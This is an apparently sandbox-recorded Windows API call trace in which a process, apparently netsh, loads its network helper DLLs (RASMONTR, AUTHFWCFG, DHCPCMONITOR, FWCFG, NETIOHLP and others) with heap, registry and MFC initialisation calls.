	[0251.156] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x78) returned 0x1e025de5030
	[0251.156] GetProcessHeap () returned 0x1e025de0000
	[0251.156] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x4) returned 0x1e025dedb10
	[0251.156] GetProcessHeap () returned 0x1e025de0000
	[0251.156] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x1a) returned 0x1e025de8620
	[0251.157] _wcsupr (in: _String="rasmontr.dll" | out: _String="RASMONTR.DLL") returned="RASMONTR.DLL"
	[0251.157] GetProcessHeap () returned 0x1e025de0000
	[0251.157] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df1680) returned 1
	[0251.157] LoadLibraryExW (lpLibFileName="RASMONTR.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff846850000
	[0251.413] LoadLibraryExA (lpLibFileName="MSVCRT.DLL", hFile=0x0, dwFlags=0x800) returned 0x7ff8602c0000
	[0251.413] GetVersion () returned 0x3ad7000a
	[0251.413] SetErrorMode (uMode=0x0) returned 0x0
	[0251.413] SetErrorMode (uMode=0x8001) returned 0x0
	[0251.414] LocalAlloc (uFlags=0x0, uBytes=0x2000) returned 0x1e025e02b90
	[0251.414] LocalFree (hMem=0x1e025e02b90) returned 0x0
	[0251.414] GetVersion () returned 0x3ad7000a
	[0251.415] GlobalLock (hMem=0x1e027680008) returned 0x1e025e02b90
	[0251.415] LocalAlloc (uFlags=0x40, uBytes=0x340) returned 0x1e025e02db0
	[0251.415] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x1e025df9420
	[0251.415] LocalAlloc (uFlags=0x0, uBytes=0x10) returned 0x1e025df0cb0
	[0251.415] malloc (_Size=0x100) returned 0x1e025c215f0
	[0251.415] __dllonexit () returned 0x7ff846451200
	[0251.415] __dllonexit () returned 0x7ff8464511f0
	[0251.415] __dllonexit () returned 0x7ff846451240
	[0251.415] __dllonexit () returned 0x7ff8464512a0
	[0251.416] __dllonexit () returned 0x7ff846451390
	[0251.416] __dllonexit () returned 0x7ff8464513a0
	[0251.416] __dllonexit () returned 0x7ff846451420
	[0251.416] __dllonexit () returned 0x7ff8464514c0
	[0251.416] __dllonexit () returned 0x7ff8464512c0
	[0251.416] __dllonexit () returned 0x7ff8464759c0
	[0251.416] __dllonexit () returned 0x7ff8464512e0
	[0251.416] __dllonexit () returned 0x7ff846451470
	[0251.416] __dllonexit () returned 0x7ff846451490
	[0251.416] __dllonexit () returned 0x7ff8464514e0
	[0251.416] __dllonexit () returned 0x7ff846451500
	[0251.416] __dllonexit () returned 0x7ff846451520
	[0251.416] __dllonexit () returned 0x7ff846451550
	[0251.417] __dllonexit () returned 0x7ff846451610
	[0251.417] __dllonexit () returned 0x7ff846451050
	[0251.417] __dllonexit () returned 0x7ff846451070
	[0251.417] __dllonexit () returned 0x7ff846451030
	[0251.418] RegisterClipboardFormatW (lpszFormat="commctrl_DragListMsg") returned 0xc153
	[0251.418] __dllonexit () returned 0x7ff8464759a0
	[0251.418] __dllonexit () returned 0x7ff846475980
	[0251.419] __dllonexit () returned 0x7ff8464759b0
	[0251.419] __dllonexit () returned 0x7ff846475990
	[0251.419] GetVersion () returned 0x3ad7000a
	[0251.419] GetVersion () returned 0x3ad7000a
	[0251.419] GetVersion () returned 0x3ad7000a
	[0251.419] __dllonexit () returned 0x7ff8464628e0
	[0251.419] __dllonexit () returned 0x7ff846462910
	[0251.419] __dllonexit () returned 0x7ff846451300
	[0251.419] __dllonexit () returned 0x7ff8464513b0
	[0251.419] __dllonexit () returned 0x7ff8464513d0
	[0251.419] __dllonexit () returned 0x7ff8464626e0
	[0251.419] GetVersion () returned 0x3ad7000a
	[0251.419] GetProcessVersion (ProcessId=0x0) returned 0xa0000
	[0251.420] GetSystemMetrics (nIndex=11) returned 32
	[0251.420] GetSystemMetrics (nIndex=12) returned 32
	[0251.420] GetSystemMetrics (nIndex=2) returned 17
	[0251.420] GetSystemMetrics (nIndex=3) returned 17
	[0251.420] GetDC (hWnd=0x0) returned 0x60105c9
	[0251.420] GetDeviceCaps (hdc=0x60105c9, index=88) returned 96
	[0251.420] GetDeviceCaps (hdc=0x60105c9, index=90) returned 96
	[0251.420] ReleaseDC (hWnd=0x0, hDC=0x60105c9) returned 1
	[0251.420] GetSysColor (nIndex=15) returned 0xf0f0f0
	[0251.420] GetSysColor (nIndex=16) returned 0xa0a0a0
	[0251.420] GetSysColor (nIndex=20) returned 0xffffff
	[0251.420] GetSysColor (nIndex=18) returned 0x0
	[0251.420] GetSysColor (nIndex=6) returned 0x646464
	[0251.420] GetSysColorBrush (nIndex=15) returned 0x100072
	[0251.420] GetSysColorBrush (nIndex=6) returned 0x10007a
	[0251.420] LoadCursorW (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007
	[0251.420] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0251.420] __dllonexit () returned 0x7ff846451450
	[0251.420] RegisterClipboardFormatW (lpszFormat="commdlg_FindReplace") returned 0xc152
	[0251.420] __dllonexit () returned 0x7ff8464626c0
	[0251.421] RegisterClipboardFormatW (lpszFormat="Native") returned 0xc004
	[0251.421] RegisterClipboardFormatW (lpszFormat="OwnerLink") returned 0xc003
	[0251.421] RegisterClipboardFormatW (lpszFormat="ObjectLink") returned 0xc002
	[0251.421] RegisterClipboardFormatW (lpszFormat="Embedded Object") returned 0xc00a
	[0251.421] RegisterClipboardFormatW (lpszFormat="Embed Source") returned 0xc00b
	[0251.421] RegisterClipboardFormatW (lpszFormat="Link Source") returned 0xc00d
	[0251.421] RegisterClipboardFormatW (lpszFormat="Object Descriptor") returned 0xc00e
	[0251.421] RegisterClipboardFormatW (lpszFormat="Link Source Descriptor") returned 0xc00f
	[0251.421] RegisterClipboardFormatW (lpszFormat="FileName") returned 0xc006
	[0251.421] RegisterClipboardFormatW (lpszFormat="FileNameW") returned 0xc007
	[0251.421] RegisterClipboardFormatW (lpszFormat="Rich Text Format") returned 0xc0e4
	[0251.421] RegisterClipboardFormatW (lpszFormat="RichEdit Text and Objects") returned 0xc0ed
	[0251.421] RegisterClipboardFormatW (lpszFormat="commdlg_FindReplace") returned 0xc152
	[0251.421] __dllonexit () returned 0x7ff8464759d0
	[0251.421] __dllonexit () returned 0x7ff8464759f0
	[0251.422] __dllonexit () returned 0x7ff846475a00
	[0251.422] __dllonexit () returned 0x7ff846475a10
	[0251.422] __dllonexit () returned 0x7ff846475a20
	[0251.422] GetCursorPos (in: lpPoint=0x7ff846595ae8 | out: lpPoint=0x7ff846595ae8*(x=730, y=551)) returned 1
	[0251.422] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1e025e019e0
	[0251.422] LocalReAlloc (hMem=0x1e025df0cb0, uBytes=0x18, uFlags=0x2) returned 0x1e025de5390
	[0251.423] GetCurrentThread () returned 0xfffffffffffffffe
	[0251.423] GetCurrentThreadId () returned 0xed8
	[0251.423] __dllonexit () returned 0x7ff846451620
	[0251.423] SetErrorMode (uMode=0x0) returned 0x8001
	[0251.423] SetErrorMode (uMode=0x8001) returned 0x0
	[0251.423] GetModuleFileNameW (in: hModule=0x7ff846450000, lpFilename=0x2117769d0, nSize=0x104 | out: lpFilename="C:\\WINDOWS\\system32\\MFC42u.dll" (normalized: "c:\\windows\\system32\\mfc42u.dll")) returned 0x1e
	[0251.423] wcscpy_s (in: _Destination=0x211776be0, _SizeInWords=0x104, _Source="MFC42u" | out: _Destination="MFC42u") returned 0x0
	[0251.423] FindResourceW (hModule=0x7ff846450000, lpName=0xe01, lpType=0x6) returned 0x1e025dc0bb0
	[0251.424] LoadStringW (in: hInstance=0x7ff846450000, uID=0xe000, lpBuffer=0x211776df0, cchBufferMax=256 | out: lpBuffer="") returned 0x0
	[0251.424] wcscpy_s (in: _Destination=0x211776a04, _SizeInWords=0x5, _Source=".HLP" | out: _Destination=".HLP") returned 0x0
	[0251.424] wcscat_s (in: _Destination="MFC42u", _SizeInWords=0x104, _Source=".INI" | out: _Destination="MFC42u.INI") returned 0x0
	[0251.425] malloc (_Size=0x80) returned 0x1e025c21610
	[0251.425] LocalAlloc (uFlags=0x40, uBytes=0x2100) returned 0x1e025e03100
	[0251.425] GetSystemDirectoryA (in: lpBuffer=0x211777070, uSize=0x112 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0251.426] strcat_s (in: _Destination="C:\\WINDOWS\\system32", _SizeInBytes=0x112, _Source="\\MFC42" | out: _Destination="C:\\WINDOWS\\system32\\MFC42") returned 0x0
	[0251.426] strcat_s (in: _Destination="C:\\WINDOWS\\system32\\MFC42", _SizeInBytes=0x112, _Source="LOC" | out: _Destination="C:\\WINDOWS\\system32\\MFC42LOC") returned 0x0
	[0251.426] strcat_s (in: _Destination="C:\\WINDOWS\\system32\\MFC42LOC", _SizeInBytes=0x112, _Source=".DLL" | out: _Destination="C:\\WINDOWS\\system32\\MFC42LOC.DLL") returned 0x0
	[0251.426] LoadLibraryExA (lpLibFileName="C:\\WINDOWS\\system32\\MFC42LOC.DLL", hFile=0x0, dwFlags=0x2) returned 0x0
	[0251.426] GetProcAddress (hModule=0x7ff846850000, lpProcName="InitHelperDll") returned 0x7ff846865850
	[0251.426] InitHelperDll () returned 0x0
	[0251.426] RegisterHelper () returned 0x0
	[0251.426] GetProcessHeap () returned 0x1e025de0000
	[0251.426] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x160) returned 0x1e025dfab30
	[0251.426] GetProcessHeap () returned 0x1e025de0000
	[0251.426] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025de42e0) returned 1
	[0251.427] RegisterHelper () returned 0x0
	[0251.427] GetProcessHeap () returned 0x1e025de0000
	[0251.427] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x1b8) returned 0x1e025dfd240
	[0251.427] GetProcessHeap () returned 0x1e025de0000
	[0251.427] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dfab30) returned 1
	[0251.427] RegisterHelper () returned 0x0
	[0251.427] GetProcessHeap () returned 0x1e025de0000
	[0251.427] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x210) returned 0x1e025dfab30
	[0251.427] GetProcessHeap () returned 0x1e025de0000
	[0251.427] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dfd240) returned 1
	[0251.427] RegisterHelper () returned 0x0
	[0251.427] GetProcessHeap () returned 0x1e025de0000
	[0251.427] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x268) returned 0x1e025dfd240
	[0251.427] GetProcessHeap () returned 0x1e025de0000
	[0251.427] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dfab30) returned 1
	[0251.427] RegisterHelper () returned 0x0
	[0251.427] GetProcessHeap () returned 0x1e025de0000
	[0251.427] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x2c0) returned 0x1e025dfab30
	[0251.427] GetProcessHeap () returned 0x1e025de0000
	[0251.427] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dfd240) returned 1
	[0251.427] RegEnumValueW (in: hKey=0xb4, dwIndex=0x2, lpValueName=0x1e025df0dd0, lpcchValueName=0x2117779f0, lpReserved=0x0, lpType=0x0, lpData=0x1e025de8890, lpcbData=0x211777a48 | out: lpValueName="authfwcfg", lpcchValueName=0x2117779f0, lpType=0x0, lpData=0x1e025de8890, lpcbData=0x211777a48) returned 0x0
	[0251.427] _wcsicmp (_String1="authfwcfg.dll", _String2="ipxmontr.dll") returned -8
	[0251.427] _wcsicmp (_String1="authfwcfg.dll", _String2="ipxpromn.dll") returned -8
	[0251.427] GetProcessHeap () returned 0x1e025de0000
	[0251.427] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0xa0) returned 0x1e025de52d0
	[0251.427] GetProcessHeap () returned 0x1e025de0000
	[0251.427] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x14) returned 0x1e025df0cb0
	[0251.427] GetProcessHeap () returned 0x1e025de0000
	[0251.427] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x1c) returned 0x1e025df97e0
	[0251.427] _wcsupr (in: _String="authfwcfg.dll" | out: _String="AUTHFWCFG.DLL") returned="AUTHFWCFG.DLL"
	[0251.427] GetProcessHeap () returned 0x1e025de0000
	[0251.427] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025de5030) returned 1
	[0251.427] LoadLibraryExW (lpLibFileName="AUTHFWCFG.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff846700000
	[0251.509] GetProcAddress (hModule=0x7ff846700000, lpProcName="InitHelperDll") returned 0x7ff846701430
	[0251.509] InitHelperDll () returned 0x0
	[0251.510] RegisterHelper () returned 0x0
	[0251.510] GetProcessHeap () returned 0x1e025de0000
	[0251.510] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x318) returned 0x1e025e05a20
	[0251.510] GetProcessHeap () returned 0x1e025de0000
	[0251.510] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dfab30) returned 1
	[0251.510] RegisterHelper () returned 0x0
	[0251.510] GetProcessHeap () returned 0x1e025de0000
	[0251.510] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x370) returned 0x1e025e05d40
	[0251.510] GetProcessHeap () returned 0x1e025de0000
	[0251.510] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e05a20) returned 1
	[0251.510] RegisterHelper () returned 0x0
	[0251.510] GetProcessHeap () returned 0x1e025de0000
	[0251.510] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x3c8) returned 0x1e025e060c0
	[0251.510] GetProcessHeap () returned 0x1e025de0000
	[0251.510] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e05d40) returned 1
	[0251.510] RegisterHelper () returned 0x0
	[0251.510] GetProcessHeap () returned 0x1e025de0000
	[0251.510] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x420) returned 0x1e025e05a20
	[0251.511] GetProcessHeap () returned 0x1e025de0000
	[0251.511] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e060c0) returned 1
	[0251.511] RegisterHelper () returned 0x0
	[0251.511] GetProcessHeap () returned 0x1e025de0000
	[0251.511] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x478) returned 0x1e025e05e50
	[0251.511] GetProcessHeap () returned 0x1e025de0000
	[0251.511] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e05a20) returned 1
	[0251.511] RegEnumValueW (in: hKey=0xb4, dwIndex=0x3, lpValueName=0x1e025df0dd0, lpcchValueName=0x2117779f0, lpReserved=0x0, lpType=0x0, lpData=0x1e025de8890, lpcbData=0x211777a48 | out: lpValueName="dhcpclient", lpcchValueName=0x2117779f0, lpType=0x0, lpData=0x1e025de8890, lpcbData=0x211777a48) returned 0x0
	[0251.511] _wcsicmp (_String1="dhcpcmonitor.dll", _String2="ipxmontr.dll") returned -5
	[0251.511] _wcsicmp (_String1="dhcpcmonitor.dll", _String2="ipxpromn.dll") returned -5
	[0251.511] GetProcessHeap () returned 0x1e025de0000
	[0251.511] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0xc8) returned 0x1e025df8710
	[0251.511] GetProcessHeap () returned 0x1e025de0000
	[0251.511] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x16) returned 0x1e025e056e0
	[0251.511] GetProcessHeap () returned 0x1e025de0000
	[0251.511] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x22) returned 0x1e025e064a0
	[0251.511] _wcsupr (in: _String="dhcpcmonitor.dll" | out: _String="DHCPCMONITOR.DLL") returned="DHCPCMONITOR.DLL"
	[0251.511] GetProcessHeap () returned 0x1e025de0000
	[0251.511] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025de52d0) returned 1
	[0251.511] LoadLibraryExW (lpLibFileName="DHCPCMONITOR.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff851200000
	[0251.520] GetProcAddress (hModule=0x7ff851200000, lpProcName="InitHelperDll") returned 0x7ff851201610
	[0251.520] InitHelperDll () returned 0x0
	[0251.520] RegisterHelper () returned 0x0
	[0251.520] GetProcessHeap () returned 0x1e025de0000
	[0251.520] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x4d0) returned 0x1e025e06ae0
	[0251.521] GetProcessHeap () returned 0x1e025de0000
	[0251.521] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e05e50) returned 1
	[0251.521] RegEnumValueW (in: hKey=0xb4, dwIndex=0x4, lpValueName=0x1e025df0dd0, lpcchValueName=0x2117779f0, lpReserved=0x0, lpType=0x0, lpData=0x1e025de8890, lpcbData=0x211777a48 | out: lpValueName="dot3cfg", lpcchValueName=0x2117779f0, lpType=0x0, lpData=0x1e025de8890, lpcbData=0x211777a48) returned 0x0
	[0251.521] _wcsicmp (_String1="dot3cfg.dll", _String2="ipxmontr.dll") returned -5
	[0251.521] _wcsicmp (_String1="dot3cfg.dll", _String2="ipxpromn.dll") returned -5
	[0251.521] GetProcessHeap () returned 0x1e025de0000
	[0251.521] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0xf0) returned 0x1e025de42e0
	[0251.521] GetProcessHeap () returned 0x1e025de0000
	[0251.521] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025e054e0
	[0251.521] GetProcessHeap () returned 0x1e025de0000
	[0251.521] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x18) returned 0x1e025e059c0
	[0251.521] _wcsupr (in: _String="dot3cfg.dll" | out: _String="DOT3CFG.DLL") returned="DOT3CFG.DLL"
	[0251.521] GetProcessHeap () returned 0x1e025de0000
	[0251.521] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025df8710) returned 1
	[0251.521] LoadLibraryExW (lpLibFileName="DOT3CFG.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff850880000
	[0251.550] GetProcAddress (hModule=0x7ff850880000, lpProcName="InitHelperDll") returned 0x7ff850881100
	[0251.550] InitHelperDll () returned 0x0
	[0251.550] RegisterHelper () returned 0x0
	[0251.550] GetProcessHeap () returned 0x1e025de0000
	[0251.550] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x528) returned 0x1e025e077e0
	[0251.550] GetProcessHeap () returned 0x1e025de0000
	[0251.550] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e06ae0) returned 1
	[0251.550] RegEnumValueW (in: hKey=0xb4, dwIndex=0x5, lpValueName=0x1e025df0dd0, lpcchValueName=0x2117779f0, lpReserved=0x0, lpType=0x0, lpData=0x1e025de8890, lpcbData=0x211777a48 | out: lpValueName="fwcfg", lpcchValueName=0x2117779f0, lpType=0x0, lpData=0x1e025de8890, lpcbData=0x211777a48) returned 0x0
	[0251.550] _wcsicmp (_String1="fwcfg.dll", _String2="ipxmontr.dll") returned -3
	[0251.550] _wcsicmp (_String1="fwcfg.dll", _String2="ipxpromn.dll") returned -3
	[0251.550] GetProcessHeap () returned 0x1e025de0000
	[0251.550] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x118) returned 0x1e025dfd5e0
	[0251.550] GetProcessHeap () returned 0x1e025de0000
	[0251.550] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0xc) returned 0x1e025e05980
	[0251.551] GetProcessHeap () returned 0x1e025de0000
	[0251.551] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x14) returned 0x1e025e05700
	[0251.551] _wcsupr (in: _String="fwcfg.dll" | out: _String="FWCFG.DLL") returned="FWCFG.DLL"
	[0251.551] GetProcessHeap () returned 0x1e025de0000
	[0251.551] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025de42e0) returned 1
	[0251.551] LoadLibraryExW (lpLibFileName="FWCFG.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff84b120000
	[0251.554] GetProcAddress (hModule=0x7ff84b120000, lpProcName="InitHelperDll") returned 0x7ff84b1211f0
	[0251.554] InitHelperDll () returned 0x0
	[0251.554] RegisterHelper () returned 0x0
	[0251.554] GetProcessHeap () returned 0x1e025de0000
	[0251.554] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x580) returned 0x1e025e07d10
	[0251.555] GetProcessHeap () returned 0x1e025de0000
	[0251.555] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e077e0) returned 1
	[0251.555] RegEnumValueW (in: hKey=0xb4, dwIndex=0x6, lpValueName=0x1e025df0dd0, lpcchValueName=0x2117779f0, lpReserved=0x0, lpType=0x0, lpData=0x1e025de8890, lpcbData=0x211777a48 | out: lpValueName="hnetmon", lpcchValueName=0x2117779f0, lpType=0x0, lpData=0x1e025de8890, lpcbData=0x211777a48) returned 0x0
	[0251.555] _wcsicmp (_String1="hnetmon.dll", _String2="ipxmontr.dll") returned -1
	[0251.555] _wcsicmp (_String1="hnetmon.dll", _String2="ipxpromn.dll") returned -1
	[0251.555] GetProcessHeap () returned 0x1e025de0000
	[0251.555] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x140) returned 0x1e025dfab30
	[0251.555] GetProcessHeap () returned 0x1e025de0000
	[0251.555] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x10) returned 0x1e025e05420
	[0251.555] GetProcessHeap () returned 0x1e025de0000
	[0251.555] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x18) returned 0x1e025e05720
	[0251.555] _wcsupr (in: _String="hnetmon.dll" | out: _String="HNETMON.DLL") returned="HNETMON.DLL"
	[0251.555] GetProcessHeap () returned 0x1e025de0000
	[0251.555] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dfd5e0) returned 1
	[0251.555] LoadLibraryExW (lpLibFileName="HNETMON.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff850f20000
	[0251.644] GetProcAddress (hModule=0x7ff850f20000, lpProcName="InitHelperDll") returned 0x7ff850f22060
	[0251.644] InitHelperDll () returned 0x0
	[0251.644] RegisterHelper () returned 0x0
	[0251.644] GetProcessHeap () returned 0x1e025de0000
	[0251.644] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x5d8) returned 0x1e025e0f370
	[0251.644] GetProcessHeap () returned 0x1e025de0000
	[0251.644] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e07d10) returned 1
	[0251.644] RegEnumValueW (in: hKey=0xb4, dwIndex=0x7, lpValueName=0x1e025df0dd0, lpcchValueName=0x2117779f0, lpReserved=0x0, lpType=0x0, lpData=0x1e025de8890, lpcbData=0x211777a48 | out: lpValueName="netiohlp", lpcchValueName=0x2117779f0, lpType=0x0, lpData=0x1e025de8890, lpcbData=0x211777a48) returned 0x0
	[0251.644] _wcsicmp (_String1="netiohlp.dll", _String2="ipxmontr.dll") returned 5
	[0251.644] _wcsicmp (_String1="netiohlp.dll", _String2="ipxpromn.dll") returned 5
	[0251.644] GetProcessHeap () returned 0x1e025de0000
	[0251.644] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x168) returned 0x1e025dfac80
	[0251.644] GetProcessHeap () returned 0x1e025de0000
	[0251.644] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x12) returned 0x1e025e057c0
	[0251.644] GetProcessHeap () returned 0x1e025de0000
	[0251.644] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x1a) returned 0x1e025e0fee0
	[0251.645] _wcsupr (in: _String="netiohlp.dll" | out: _String="NETIOHLP.DLL") returned="NETIOHLP.DLL"
	[0251.645] GetProcessHeap () returned 0x1e025de0000
	[0251.645] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025dfab30) returned 1
	[0251.645] LoadLibraryExW (lpLibFileName="NETIOHLP.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff846360000
	[0251.665] GetProcAddress (hModule=0x7ff846360000, lpProcName="InitHelperDll") returned 0x7ff846375f80
	[0251.665] InitHelperDll () returned 0x0
	[0251.665] RegisterHelper () returned 0x0
	[0251.665] GetProcessHeap () returned 0x1e025de0000
	[0251.665] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x630) returned 0x1e025e11170
	[0251.665] GetProcessHeap () returned 0x1e025de0000
	[0251.665] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e0f370) returned 1
	[0251.665] RegisterHelper () returned 0x0
	[0251.665] GetProcessHeap () returned 0x1e025de0000
	[0251.665] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x688) returned 0x1e025e117b0
	[0251.665] GetProcessHeap () returned 0x1e025de0000
	[0251.665] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e11170) returned 1
	[0251.665] RegisterHelper () returned 0x0
	[0251.665] GetProcessHeap () returned 0x1e025de0000
	[0251.665] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x6e0) returned 0x1e025e11e40
	[0251.665] GetProcessHeap () returned 0x1e025de0000
	[0251.665] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e117b0) returned 1
	[0251.666] RegisterHelper () returned 0x0
	[0251.666] GetProcessHeap () returned 0x1e025de0000
	[0251.666] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x738) returned 0x1e025e12530
	[0251.666] GetProcessHeap () returned 0x1e025de0000
	[0251.666] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e11e40) returned 1
	[0251.666] RegisterHelper () returned 0x0
	[0251.666] GetProcessHeap () returned 0x1e025de0000
	[0251.666] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x790) returned 0x1e025e11170
	[0251.666] GetProcessHeap () returned 0x1e025de0000
	[0251.666] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e12530) returned 1
	[0251.666] RegisterHelper () returned 0x0
	[0251.666] GetProcessHeap () returned 0x1e025de0000
	[0251.666] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x7e8) returned 0x1e025e11910
	[0251.666] GetProcessHeap () returned 0x1e025de0000
	[0251.666] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e11170) returned 1
	[0251.666] RegisterHelper () returned 0x0
	[0251.666] GetProcessHeap () returned 0x1e025de0000
	[0251.666] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x840) returned 0x1e025e12100
	[0251.666] GetProcessHeap () returned 0x1e025de0000
	[0251.666] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e11910) returned 1
	[0251.666] RegisterHelper () returned 0x0
	[0251.666] GetProcessHeap () returned 0x1e025de0000
	[0251.666] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x898) returned 0x1e025e11170
	[0251.666] GetProcessHeap () returned 0x1e025de0000
	[0251.666] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e12100) returned 1
	[0251.666] RegisterHelper () returned 0x0
	[0251.666] GetProcessHeap () returned 0x1e025de0000
	[0251.666] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x8f0) returned 0x1e025e11a10
	[0251.666] GetProcessHeap () returned 0x1e025de0000
	[0251.666] RtlFreeHeap (HeapHandle=0x1e025de0000, Flags=0x0, BaseAddress=0x1e025e11170) returned 1
	[0251.666] RegEnumValueW (in: hKey=0xb4, dwIndex=0x8, lpValueName=0x1e025df0dd0, lpcchValueName=0x2117779f0, lpReserved=0x0, lpType=0x0, lpData=0x1e025de8890, lpcbData=0x211777a48 | out: lpValueName="nettrace", lpcchValueName=0x2117779f0, lpType=0x0, lpData=0x1e025de8890, lpcbData=0x211777a48) returned 0x0
	[0251.666] _wcsicmp (_String1="nettrace.dll", _String2="ipxmontr.dll") returned 5
	[0251.666] _wcsicmp (_String1="nettrace.dll", _String2="ipxpromn.dll") returned 5
	[0251.666] GetProcessHeap () returned 0x1e025de0000
	[0251.666] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x190) returned 0x1e025e06ae0
	[0251.667] GetProcessHeap () returned 0x1e025de0000
	[0251.667] RtlAllocateHeap (HeapHandle=0x1e025de0000, Flags=0x0, Size=0x12) returned 0x1e025e052e0
	[0251.667] GetProcessHeap () returned 0x1e025de0000
